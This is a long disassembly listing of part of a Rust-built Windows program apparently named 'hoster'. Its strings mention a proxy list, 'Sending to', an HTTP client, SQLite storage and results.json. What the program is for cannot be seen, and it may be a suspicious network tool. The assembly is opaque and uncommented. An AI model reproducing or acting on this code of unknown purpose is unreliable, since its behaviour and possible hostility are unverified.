mov rcx, qword [rsi]
call fcn.140003ec9
jmp 0x140023ad5
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0x990], rsi
mov byte [rsp + 0x998], 1
mov r9d, dword [r12 + r13 + 0x18]
mov eax, dword [r12 + r13 + 0x1c]
mov dword [rsp + 0x20], eax
mov r8d, 0xe
lea rcx, [rsp + 0x990]
lea rdx, [0x1402737d7]
call fcn.140012da9
mov rax, qword [rsp + 0x990]
mov dl, byte [rsp + 0x998]
mov rcx, qword [rax]
call fcn.140012a30
mov r8d, 0xa
mov rcx, r14
lea rdx, [0x1402737fc]
call fcn.1400129f1
mov rsi, qword [rsp + 0x4d0]
mov rcx, qword [rsi]
call fcn.140003ef2
cmp dword [r12 + r13 + 0x20], 2
jne 0x140023b0c
mov rcx, qword [rsi]
call fcn.140003ec9
jmp 0x140023b6c
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0x990], rsi
mov byte [rsp + 0x998], 1
mov r9d, dword [r12 + r13 + 0x20]
mov eax, dword [r12 + r13 + 0x24]
mov dword [rsp + 0x20], eax
mov r8d, 0xc
lea rcx, [rsp + 0x990]
lea rdx, [0x1402737e5]
call fcn.140012da9
mov rax, qword [rsp + 0x990]
mov dl, byte [rsp + 0x998]
mov rcx, qword [rax]
call fcn.140012a30
mov r8d, 0xb
mov rcx, r14
lea rdx, [0x140273806]
call fcn.1400129f1
mov rsi, qword [rsp + 0x4d0]
mov rcx, qword [rsi]
call fcn.140003ef2
cmp dword [r12 + r13 + 0x28], 2
jne 0x140023ba6
mov rcx, qword [rsi]
call fcn.140003ec9
jmp 0x140023c4f
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0x990], rsi
mov byte [rsp + 0x998], 1
mov r9d, dword [r12 + r13 + 0x28]
mov eax, dword [r12 + r13 + 0x2c]
mov dword [rsp + 0x20], eax
mov r8d, 0x19
lea r14, [rsp + 0x990]
mov rcx, r14
lea rdx, [0x14027376b]
call fcn.140012da9
mov r9d, dword [r12 + r13 + 0x30]
mov eax, dword [r12 + r13 + 0x34]
mov dword [rsp + 0x20], eax
mov r8d, 0x18
mov rcx, r14
lea rdx, [0x140273784]
call fcn.140012da9
mov r9d, dword [r12 + r13 + 0x38]
mov eax, dword [r12 + r13 + 0x3c]
mov dword [rsp + 0x20], eax
mov r8d, 0x15
mov rcx, r14
lea rdx, [0x14027379c]
call fcn.140012da9
mov rax, qword [rsp + 0x990]
mov dl, byte [rsp + 0x998]
mov rcx, qword [rax]
call fcn.140012a30
mov dl, byte [rsp + 0x4d8]
mov rcx, qword [rsi]
call fcn.140012a30
mov dl, byte [rsp + 0xf48]
mov rcx, qword [rbp]
call fcn.140012a30
add r13, 0x88
mov dl, 2
mov r14, rdi
jmp 0x1400237d3
mov rcx, qword [r14]
call fcn.140012a39
mov rbx, qword [rsp + 0x60]
jmp 0x140023c96
mov rcx, qword [rbx]
call fcn.140003ec9
mov dl, byte [rsp + 0xe28]
mov rcx, qword [rbx]
call fcn.140012a30
lea rdx, [0x140273852]
lea rsi, [rsp + 0x810]
mov r8d, 9
mov rcx, rsi
call fcn.1400129f1
mov rdi, qword [rsi]
mov rcx, qword [rdi]
call fcn.140003ef2
mov rax, qword [rsp + 0xa0]
mov r15, qword [rax + 0x1e0]
mov rsi, qword [rax + 0x1f0]
lea rbx, [rsp + 0x990]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.1400137c2
mov dl, byte [rbx + 8]
mov r14, qword [rbx]
cmp dl, 3
je 0x140029585
imul rax, rsi, 0x30
add rax, r15
mov qword [rsp + 0x98], rax
lea rbx, [0x1403467d0]
lea r13, [0x140273703]
mov qword [rsp + 0x58], r14
cmp r15, qword [rsp + 0x98]
je 0x1400240d7
cmp dl, 1
sete dl
mov rcx, qword [r14]
call fcn.140003edb
mov rcx, qword [r14]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0xe20], r14
mov byte [rsp + 0xe28], 1
mov r9, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x20], rax
mov r8d, 0xd
lea rsi, [rsp + 0xe20]
mov rcx, rsi
lea rdx, [0x14027371a]
call fcn.140012d72
mov r8d, 4
mov rcx, rsi
lea rdx, [0x140273727]
call fcn.1400129f1
mov rdi, qword [rsp + 0xe20]
mov rcx, qword [rdi]
call fcn.140003ef2
mov r12, qword [r15 + 0x18]
mov rsi, qword [r15 + 0x28]
lea rcx, [rsp + 0x990]
mov rdx, rdi
mov r8, rsi
call fcn.1400137c2
mov dl, byte [rsp + 0x998]
mov rax, qword [rsp + 0x990]
mov qword [rsp + 0x50], rax
cmp dl, 3
je 0x14002957d
mov qword [rsp + 0x90], rdi
add r15, 0x30
mov qword [rsp + 0x70], r15
imul rax, rsi, 0x58
mov qword [rsp + 0x60], rax
xor ebp, ebp
lea r15, [rsp + 0x990]
lea r14, [rsp + 0xf40]
cmp qword [rsp + 0x60], rbp
je 0x1400240a2
cmp dl, 1
sete dl
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsi]
call fcn.140003edb
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0xf40], rsi
mov byte [rsp + 0xf48], 1
mov r9, qword [r12 + rbp]
mov rax, qword [r12 + rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r8d, 8
mov rcx, r14
mov rdx, r13
call fcn.140012d72
mov r9d, dword [r12 + rbp + 0x50]
mov r8d, 8
mov rcx, r14
lea rdx, [0x14027370b]
call fcn.140012dee
mov r8d, 7
mov rcx, r14
lea rdx, [0x140273713]
call fcn.1400129f1
mov rsi, qword [rsp + 0xf40]
mov rcx, qword [rsi]
call fcn.140003ef2
cmp qword [r12 + rbp + 0x18], 0
je 0x140024067
xor eax, eax
cmp qword [r12 + rbp + 0x28], 0
setne al
lea r8, [rax + 1]
cmp qword [r12 + rbp + 0x40], 0
cmove r8, rax
mov rcx, r15
mov rdx, rsi
call fcn.140013777
mov cl, byte [rsp + 0x998]
mov rax, qword [rsp + 0x990]
cmp cl, 3
je 0x140029582
mov qword [rsp + 0x4d0], rax
mov byte [rsp + 0x4d8], cl
mov rax, qword [r12 + rbp + 0x28]
test rax, rax
je 0x140023f3b
mov r9, qword [r12 + rbp + 0x18]
mov qword [rsp + 0x20], rax
mov r8d, 7
lea rcx, [rsp + 0x4d0]
lea rdx, str.typeUrlvalue_usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_rusqlite_0.29.0_src_lib.rs
call fcn.140012d72
mov rdi, qword [r12 + rbp + 0x40]
test rdi, rdi
je 0x140024071
mov rcx, rdi
mov dl, 1
call fcn.14004d3e3
test rax, rax
je 0x140029926
mov r14, rdx
mov r15, qword [r12 + rbp + 0x38]
mov rcx, rdx
mov dl, 1
call fcn.14004d6d1
mov rbx, rax
mov r13, rdx
mov qword [rsp + 0x20], r14
lea rcx, [0x1403143f0]
mov rdx, r15
mov r8, rdi
mov r9, rax
call fcn.14004c9ae
mov rdi, rax
cmp r14, rax
jb 0x140029912
mov r8, r14
sub r8, rdi
lea rdx, [rbx + rdi]
mov rcx, rdi
call fcn.14004d439
add rax, rdi
lea r15, [rsp + 0x990]
jb 0x1400298fd
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.140055380
cmp qword [rsp + 0x990], 0
je 0x14002400c
mov rax, qword [rsp + 0x998]
mov cl, byte [rsp + 0x9a0]
lea r8, [rsp + 0x9a1]
mov edx, dword [r8]
mov r8d, dword [r8 + 3]
mov dword [rsp + 0x750], edx
mov dword [rsp + 0x753], r8d
cmp cl, 2
jne 0x140029940
mov r8d, 5
lea rcx, [rsp + 0x4d0]
lea rdx, [0x140271f8f]
call fcn.1400129f1
mov rdi, qword [rsp + 0x4d0]
mov rcx, qword [rdi]
call fcn.140003ef2
mov rcx, qword [rdi]
mov rdx, rbx
mov r8, r14
call fcn.14001380d
mov rcx, rbx
mov rdx, r13
call fcn.1401371c1
lea rbx, [0x1403467d0]
lea r13, [0x140273703]
lea r14, [rsp + 0xf40]
jmp 0x140024079
mov rcx, qword [rsi]
call fcn.140003ec9
jmp 0x140024088
mov rdi, qword [rsp + 0x4d0]
mov dl, byte [rsp + 0x4d8]
mov rcx, qword [rdi]
call fcn.140012a30
mov dl, byte [rsp + 0xf48]
mov rcx, qword [rsi]
call fcn.140012a30
add rbp, 0x58
mov dl, 2
jmp 0x140023e19
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call fcn.140012a39
mov dl, byte [rsp + 0xe28]
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax]
call fcn.140012a30
mov dl, 2
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x70]
jmp 0x140023d2a
mov rcx, qword [r14]
call fcn.140012a39
mov rdi, qword [rsp + 0xa0]
mov r9d, dword [rdi + 0x100]
mov eax, dword [rdi + 0x104]
mov dword [rsp + 0x20], eax
lea rdx, [0x14027385b]
lea rsi, [rsp + 0x810]
mov r8d, 0xd
mov rcx, rsi
call fcn.140012da9
lea rdx, [0x140273868]
mov r8d, 0xb
mov rcx, rsi
call fcn.1400129f1
mov rsi, qword [rsi]
mov rcx, qword [rsi]
call fcn.140003ef2
mov cl, byte [rdi + 0x1f8]
mov rdx, qword [rsi]
cmp cl, 2
jne 0x14002414d
mov rcx, rdx
call fcn.140003ec9
jmp 0x140024152
call fcn.1400106b6
mov dl, byte [rsp + 0x818]
mov rcx, qword [rsi]
call fcn.140012a30
mov rax, qword [rsp + 0x260]
mov r14, qword [rsp + 0x268]
test rax, rax
je 0x14002959a
mov rcx, qword [rsp + 0x270]
mov rdx, qword [rsp + 0xa0]
lea r8, [rdx + 0x200]
mov qword [rdx + 0x200], rax
mov qword [rdx + 0x208], r14
mov qword [rdx + 0x210], rcx
mov rcx, rdx
lea r14, [rdx + 0x218]
mov qword [rsp + 0xe8], r8
mov qword [rdx + 0x218], r8
lea rax, [rdx + 0x260]
mov qword [rsp + 0x250], rax
mov byte [rdx + 0x260], 0
lea rsi, [rcx + 0x220]
lea rdx, str.PROXY_LISTSending_to
mov r8d, 0xa
mov rcx, rsi
call fcn.1401750f0
mov rax, qword [0x14038d2f0]
cmp rax, 2
jbe 0x140024254
lea r9, [rsp + 0x260]
mov qword [r9], rsi
lea rax, [0x140010dac]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140272220]
lea rdi, [rsp + 0x990]
mov r8d, 1
mov rcx, rdi
call fcn.14000db98
lea r8, str.hoster::http_clientsrc_http_client.rs
mov edx, 3
mov rcx, rdi
mov r9d, 0xb
call fcn.14008c68e
mov rcx, qword [rsp + 0xa0]
mov bl, byte [rcx + 0x238]
cmp bl, 3
jne 0x1400243a1
mov qword [rsp + 0x248], r14
mov rbx, qword [rcx + 0x220]
mov r14, qword [rcx + 0x228]
mov r8, qword [rcx + 0x230]
lea rsi, [rsp + 0x260]
mov rcx, rsi
mov rdx, rbx
mov r9d, 0x2c
call fcn.14000f4ae
lea rdi, [rsp + 0x990]
mov rcx, rdi
mov rdx, rsi
call fcn.140002b70
cmp qword [rdi], 0
je 0x1400245ef
mov ecx, 4
call fcn.1401a034d
mov r12, rax
lea r15, [rsp + 0x990]
mov rax, qword [r15 + 0x10]
movdqu xmm0, xmmword [r15]
movdqu xmmword [r12], xmm0
mov qword [r12 + 0x10], rax
lea r13, [rsp + 0xf40]
mov qword [r13], r12
mov qword [r13 + 8], rdx
mov qword [r13 + 0x10], 1
lea rsi, [rsp + 0x260]
mov ecx, 9
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
mov eax, 1
mov qword [rsp + 0x70], rax
mov edi, 0x18
lea rsi, [rsp + 0x4d0]
mov rcx, rsi
mov rdx, r15
call fcn.140002b70
cmp qword [rsp + 0x4d0], 0
je 0x14002453f
mov rcx, qword [rsp + 0x70]
cmp rcx, qword [rsp + 0xf48]
jne 0x14002436c
mov edx, 1
mov rcx, r13
call fcn.1401a03a0
mov rcx, qword [rsp + 0x70]
mov r12, qword [rsp + 0xf40]
movdqu xmm0, xmmword [rsp + 0x4d0]
mov rax, qword [rsp + 0x4e0]
mov qword [r12 + rdi + 0x10], rax
movdqu xmmword [r12 + rdi], xmm0
inc rcx
mov rax, rcx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0xf50], rcx
add rdi, 0x18
jmp 0x140024329
mov eax, dword [rcx + 0x239]
mov ecx, dword [rcx + 0x23c]
mov dword [rsp + 0x92b], ecx
mov dword [rsp + 0x928], eax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x1320], xmm0
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x1330], rax
mov ecx, 0x20
mov edx, 8
call fcn.140010380
mov rsi, rax
movdqa xmm0, xmmword [rsp + 0x1320]
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x1330]
mov qword [rsi + 0x10], rax
mov byte [rsi + 0x18], bl
mov eax, dword [rsp + 0x928]
mov ecx, dword [rsp + 0x92b]
mov dword [rsi + 0x19], eax
mov dword [rsi + 0x1c], ecx
lea rdi, fcn.14000e1c6
mov rax, qword [rsp + 0x250]
mov byte [rax], 1
mov rcx, r14
call fcn.14000f262
test rsi, rsi
je 0x14002456b
mov qword [rsp + 0x4d0], rsi
mov qword [rsp + 0x4d8], rdi
mov rax, qword [0x14038d2f0]
cmp rax, 1
jbe 0x1400244b2
lea rax, [rsp + 0x4d0]
lea r9, [rsp + 0x260]
mov qword [r9], rax
lea rax, [0x14004bf6c]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, str.p6_
lea rsi, [rsp + 0x990]
mov r8d, 1
mov rcx, rsi
call fcn.14000db98
lea r8, str.hostersrc_main.rs
mov edx, 2
mov rcx, rsi
mov r9d, 0x7d
call fcn.14008c68e
mov rax, qword [rsp + 0xa0]
mov r8, qword [rax + 0x200]
mov r9, qword [rax + 0x210]
lea rcx, str.._results.jsonError_while_removing_csv_file:
mov edx, 0xe
call fcn.1401761a0
mov rsi, rax
mov rdi, qword [rsp + 0x4d0]
mov rbx, qword [rsp + 0x4d8]
mov rcx, rdi
call qword [rbx]
mov r8, qword [rbx + 8]
test r8, r8
je 0x140024506
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call fcn.1400108ae
test rsi, rsi
mov rdi, qword [rsp + 0xa0]
je 0x1400245cd
mov rcx, rsi
call fcn.140010d2a
mov qword [rsp + 0xa8], rax
mov rcx, qword [rdi + 0x200]
mov rdx, qword [rdi + 0x208]
call fcn.1401371c1
jmp 0x1400295b2
mov rdx, qword [rsp + 0x4d8]
xor ecx, ecx
call fcn.140096232
mov rax, qword [rsp + 0xf40]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0xf48]
jmp 0x140024605
mov rax, qword [0x14038d2f0]
cmp rax, 3
mov rdi, qword [rsp + 0xa0]
jb 0x1400245cd
lea rax, str.X6_
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea r8, str.hostersrc_main.rs
mov edx, 3
mov r9d, 0x79
call fcn.14008c68e
mov rdi, qword [rsp + 0xa0]
mov rcx, qword [rdi + 0x200]
mov rdx, qword [rdi + 0x208]
call fcn.1401371c1
xor eax, eax
mov qword [rsp + 0xa8], rax
jmp 0x1400295b2
mov eax, 8
mov qword [rsp + 0x198], rax
xor eax, eax
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rsp + 0x1308], rax
mov rcx, rbx
mov rdx, r14
call fcn.1401371c1
lea rsi, [rsp + 0x260]
mov edx, 2
mov rcx, rsi
call fcn.14007ba48
pxor xmm6, xmm6
lea rbx, [rsp + 0xf40]
movdqa xmmword [rbx + 0x10], xmm6
movdqa xmmword [rbx], xmm6
lea rdx, [0x140312bf0]
lea rdi, [rsp + 0x990]
mov r8d, 3
mov rcx, rdi
call fcn.14011df7e
lea r14, [rsp + 0x4d0]
mov rcx, r14
mov rdx, rsi
mov r8, rbx
mov r9, rdi
call fcn.140082ac1
mov rcx, r14
call fcn.140084f15
lea r15, [rsp + 0xe20]
mov ecx, 0xc
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.1401acb2d
mov rcx, rsi
call fcn.140134f3c
movdqu xmmword [rsi + 0x128], xmm6
and qword [rsi + 0x138], 0
lea r8, [rsp + 0xae8]
movdqu xmmword [r8], xmm6
lea rdi, [rsp + 0x990]
mov ecx, 0xc
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
lea r9, [rsp + 0x9f0]
mov qword [r9], 1
mov qword [r9 + 8], 0xa
and dword [r9 + 0x18], 0
and dword [r9 + 0x20], 0
and dword [r9 + 0x28], 0
mov ecx, 0x3b9aca00
mov dword [r9 + 0x38], ecx
mov qword [r9 + 0x40], 0x5a
and dword [r9 + 0x48], 0
mov dword [r9 + 0x58], ecx
mov dword [r9 + 0x68], ecx
mov dword [r9 + 0x78], ecx
mov dword [r8 - 0x70], ecx
lea r9, [rsp + 0xa80]
mov ecx, 8
mov qword [r9], rcx
movdqu xmmword [r9 + 8], xmm6
mov qword [r9 + 0x18], rcx
movdqu xmmword [r9 + 0x20], xmm6
lea rcx, [rsp + 0xab0]
lea r8, [0x140347990]
mov qword [rcx], r8
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], rdx
or qword [rcx + 0x30], 0xffffffffffffffff
mov dword [rcx + 0x50], 0x1000101
mov word [rcx + 0x54], 0x101
and qword [rcx + 0x56], 0
mov dword [rcx + 0x5e], 0x2000001
mov byte [rcx + 0x62], 2
mov word [rcx + 0x73], 0x404
mov rsi, qword [rcx + 0x38]
test rsi, rsi
mov qword [rsp + 0x78], rsi
jne 0x140029ec2
mov rax, qword [r9 + 0x10]
mov qword [rsp + 0x100], rax
movdqu xmm0, xmmword [r9]
movdqa xmmword [rsp + 0xf0], xmm0
mov rax, qword [0x1402650f0]
cmp rax, 2
je 0x140024807
lea rcx, [0x1402650f0]
mov qword [rsp + 0xf40], rcx
lea rax, [0x1402650f8]
mov qword [rsp + 0x4d0], rax
lea rdx, [rsp + 0x260]
mov qword [rdx], rbx
mov qword [rdx + 8], r14
lea rax, [rsp + 0x140]
mov qword [rdx + 0x10], rax
lea r8, [0x140312880]
call fcn.140091c28
mov rax, qword [0x1402650f8]
lock inc qword [rax]
jle 0x140029ae0
lea rdi, [rsp + 0x2b8]
mov qword [rdi - 0x58], 3
mov qword [rdi - 0x50], rax
and qword [rdi], 0
lea rdx, [0x14031410b]
lea rsi, [rsp + 0x4d0]
mov r8d, 8
mov rcx, rsi
call fcn.1401750f0
cmp byte [rsi + 0x18], 3
jne 0x140024877
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0xf50], rax
movdqu xmm0, xmmword [rsp + 0x4d0]
movdqa xmmword [rsp + 0xf40], xmm0
jmp 0x1400248ab
lea rdx, [0x140314113]
lea rsi, [rsp + 0xf40]
mov r8d, 8
mov rcx, rsi
call fcn.1401750f0
lea rcx, [rsp + 0x4d0]
call fcn.140096945
cmp byte [rsi + 0x18], 3
jne 0x140024c6f
mov r8, qword [rsp + 0xf40]
mov rdx, qword [rsp + 0xf48]
mov rsi, qword [rsp + 0xf50]
test rsi, rsi
je 0x140024c6b
mov qword [rsp + 0x60], rdx
lea rax, [rsp + 0x758]
mov qword [rax - 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x11a0]
mov qword [rax], 8
movdqu xmmword [rax + 8], xmm0
lea rdi, [rsp + 0xf50]
mov rcx, rdi
mov edx, 0x2c
mov qword [rsp + 0x50], r8
mov r9, rsi
call fcn.140139ed5
and qword [rdi - 0x10], 0
mov qword [rdi - 8], rsi
mov word [rdi + 0x30], 1
lea rdi, [rsp + 0x4d0]
lea rsi, [rsp + 0xf40]
mov ecx, 9
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x810]
lea rbp, [rsp + 0x1c0]
cmp byte [rsp + 0x511], 0
jne 0x140024c18
mov rbx, qword [rsp + 0x4e0]
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x4e0]
call fcn.140144230
cmp qword [rsp + 0xf40], 0
je 0x1400249af
mov rdx, qword [rsp + 0xf48]
mov rax, qword [rsp + 0xf50]
mov rcx, qword [rsp + 0x4d0]
add rbx, rcx
sub rdx, rcx
mov qword [rsp + 0x4d0], rax
jmp 0x1400249f3
cmp byte [rsp + 0x511], 0
jne 0x140024c18
mov byte [rsp + 0x511], 1
cmp byte [rsp + 0x510], 0
mov rbx, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x4d8]
jne 0x1400249e8
cmp rdx, rbx
je 0x140024c18
sub rdx, rbx
add rbx, qword [rsp + 0x4e0]
mov rcx, rbx
call fcn.14007ff6e
test rax, rax
je 0x140024c18
mov r15, rax
mov rbx, rdx
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], rdx
and qword [rsp + 0x820], 0
mov eax, 1
mov qword [rsp + 0xf40], rax
lea rcx, [0x1402a9de8]
mov qword [rsp + 0xf48], rcx
mov qword [rsp + 0xf50], rax
lea rax, [0x1402a9e10]
mov qword [rsp + 0xf58], rax
xor r14d, r14d
cmp r14, 0x20
je 0x140024a95
mov rdx, qword [rsp + r14 + 0xf40]
mov rax, qword [rsp + r14 + 0xf48]
mov rcx, rbp
mov r8, rdi
call qword [rax + 0x20]
mov r13b, byte [rsp + 0x1c0]
cmp r13b, 2
jne 0x140024a9a
and qword [rsp + 0x820], 0
add r14, 0x10
jmp 0x140024a59
mov r13b, 2
jmp 0x140024ab9
lea rcx, [rsp + 0x1c1]
mov al, byte [rcx + 0x10]
mov byte [rsp + 0x12b0], al
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x12a0], xmm0
xor r14d, r14d
cmp r14, 0x20
je 0x140024af0
mov r12, qword [rsp + r14 + 0xf40]
mov rsi, qword [rsp + r14 + 0xf48]
mov rcx, r12
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140024aea
mov rdx, qword [rsi + 0x10]
mov rcx, r12
call fcn.14002a3e0
add r14, 0x10
jmp 0x140024abc
cmp r13b, 2
je 0x140024b49
mov rax, qword [rsp + 0x820]
cmp rax, qword [rsp + 0x818]
jne 0x140024b49
mov al, byte [rsp + 0x12b0]
lea rcx, [rsp + 0x141]
mov byte [rcx + 0x10], al
movdqa xmm0, xmmword [rsp + 0x12a0]
movdqu xmmword [rcx], xmm0
mov byte [rsp + 0x140], r13b
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0x140]
call fcn.140144330
jmp 0x140024951
mov byte [rsp + 0x140], 2
mov rcx, rdi
mov rdx, r15
mov r8, rbx
call fcn.1400572d0
cmp byte [rsp + 0x810], 2
jne 0x140024bd6
mov rcx, rbx
call fcn.1400800e6
mov r13, rax
mov r12, rdx
mov rcx, rax
mov rdx, r15
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x11b0]
cmp rdx, qword [rsp + 0x11a8]
jne 0x140024bac
lea rcx, [rsp + 0x11a0]
call fcn.1401a2f72
mov rdx, qword [rsp + 0x11b0]
mov rax, qword [rsp + 0x11a0]
imul rcx, rdx, 0x18
mov qword [rax + rcx], r13
mov qword [rax + rcx + 8], r12
mov qword [rax + rcx + 0x10], rbx
inc rdx
mov qword [rsp + 0x11b0], rdx
jmp 0x140024951
mov al, byte [rsp + 0x820]
lea rcx, [rsp + 0xf50]
mov byte [rcx + 1], al
movdqu xmm0, xmmword [rsp + 0x810]
movdqu xmmword [rcx - 0xf], xmm0
mov byte [rsp + 0xf40], 2
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0xf40]
call fcn.140144330
jmp 0x140024951
mov rsi, qword [rsp + 0x750]
lea rax, [rsp + 0x758]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rsp + 0x11a0]
mov rax, qword [rsp + 0x11b0]
movdqa xmmword [rsp + 0x4d0], xmm0
mov qword [rsp + 0x4f0], rax
movdqa xmmword [rsp + 0x4e0], xmm1
lea rdi, [rsp + 0x2b8]
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
jmp 0x140024c86
xor esi, esi
jmp 0x140024c86
lea rcx, [rsp + 0xf40]
call fcn.1400613b7
mov r8d, 1
xor esi, esi
xor edx, edx
mov rcx, r8
call fcn.1401371c1
mov rcx, rdi
call fcn.14010e0d2
lea rdx, [rsp + 0x260]
mov qword [rdx + 0x58], rsi
lea rcx, [rsp + 0x4d0]
movaps xmm0, xmmword [rcx]
movdqa xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x60], xmm0
movdqu xmmword [rdx + 0x70], xmm1
mov rax, qword [rcx + 0x20]
mov qword [rdx + 0x80], rax
mov r8d, 0x88
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x100]
cmp rsi, qword [rsp + 0xf8]
jne 0x140024cfa
lea rdi, [rsp + 0xf0]
mov rcx, rdi
mov rdx, rsi
call fcn.14013d89f
mov rsi, qword [rdi + 0x10]
imul rcx, rsi, 0x88
add rcx, qword [rsp + 0xf0]
lea rdx, [rsp + 0x4d0]
mov r8d, 0x88
call sub.msvcrt.dll_memcpy
inc rsi
mov qword [rsp + 0x100], rsi
mov ecx, 0x28
mov edx, 8
call fcn.14009ec09
mov edi, 1
mov qword [rax], rdi
mov qword [rax + 8], rdi
movdqa xmm0, xmmword [rsp + 0xf0]
movdqu xmmword [rax + 0x10], xmm0
mov rcx, qword [rsp + 0x100]
mov qword [rax + 0x20], rcx
mov qword [rsp + 0xdc0], rax
cmp byte [rsp + 0xb0f], 0
jne 0x140029eda
mov ecx, 0x10
mov edx, 8
call fcn.14009ec09
mov rsi, rax
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rsp + 0x120], rax
lea rbx, [0x140312bf8]
mov qword [rsp + 0x128], rbx
mov rdi, qword [rsp + 0xaf0]
test rdi, rdi
setne al
mov dword [rsp + 0x88], eax
je 0x140024ddb
mov rbx, qword [rsp + 0xaf8]
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.14010e2dd
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
mov rsi, rdi
mov qword [rsp + 0x60], rdi
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0x90], rax
test rax, rax
sete byte [rsp + 0x80]
je 0x140024eb1
lea rax, [rsp + 0xab0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov ecx, 0x40
mov edx, 8
call fcn.14009ec09
mov rdi, rax
mov r14d, 1
mov qword [rax], r14
mov qword [rax + 8], r14
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqa xmm2, xmmword [rsp + 0x280]
movdqu xmmword [rax + 0x10], xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x30], xmm2
mov ecx, 0x28
mov edx, 8
call fcn.14009ec09
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov qword [rsp + 0x120], rax
lea rbx, [0x140312c18]
mov qword [rsp + 0x128], rbx
mov rsi, rax
lock inc qword [rsi]
jle 0x140029ae0
lea r14, [rsp + 0xaf0]
mov r15d, 8
mov ecx, pe_nt_image_headers64
mov edx, 8
call fcn.14009ec09
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
and qword [rax + 0x10], 0
and qword [rax + 0x20], 0
mov ecx, 0x3b9aca00
mov dword [rax + 0x38], ecx
and qword [rax + 0x40], 0
mov dword [rax + 0x48], 0x11e1a300
mov dword [rax + 0x58], ecx
mov word [rax + 0x60], 1
xor r12d, r12d
mov byte [rax + 0x66], r12b
and word [rax + 0x77], 0
lea rcx, [rsp + 0x220]
mov qword [rcx], rax
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rbx
mov rsi, qword [r14 - 0xd0]
mov edi, dword [r14 - 0xc8]
call fcn.140135296
mov qword [rax + 0x20], rsi
mov dword [rax + 0x28], edi
lea rsi, [rsp + 0x4e0]
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
and qword [rsi - 0x10], 0
mov word [rsi + 0x1c], 0x501
mov qword [rsi], 8
mov byte [rsi + 0x19], r12b
mov al, byte [r14 + 0x10]
xor al, 1
mov byte [rsi + 0x18], al
mov al, byte [r14 + 0x11]
mov byte [rsi + 0x1a], al
mov al, byte [r14 + 0x15]
xor al, 1
mov byte [rsi + 0x1b], al
mov rdi, qword [r14 - 0x58]
mov rbx, qword [r14 - 0x50]
mov r13, qword [r14 - 0x48]
lea r14, [rdi + r13*8]
shl r13, 3
xor edx, edx
lea rcx, [rdi + r12]
cmp r13, r12
je 0x140024fdd
mov rbp, qword [rcx]
cmp rdx, qword [rsp + 0x4e8]
jne 0x140024fc8
mov rcx, rsi
call fcn.14009165c
mov r15, qword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x4f0]
mov qword [r15 + rdx*8], rbp
inc rdx
mov qword [rsp + 0x4f0], rdx
add r12, 8
jmp 0x140024f9a
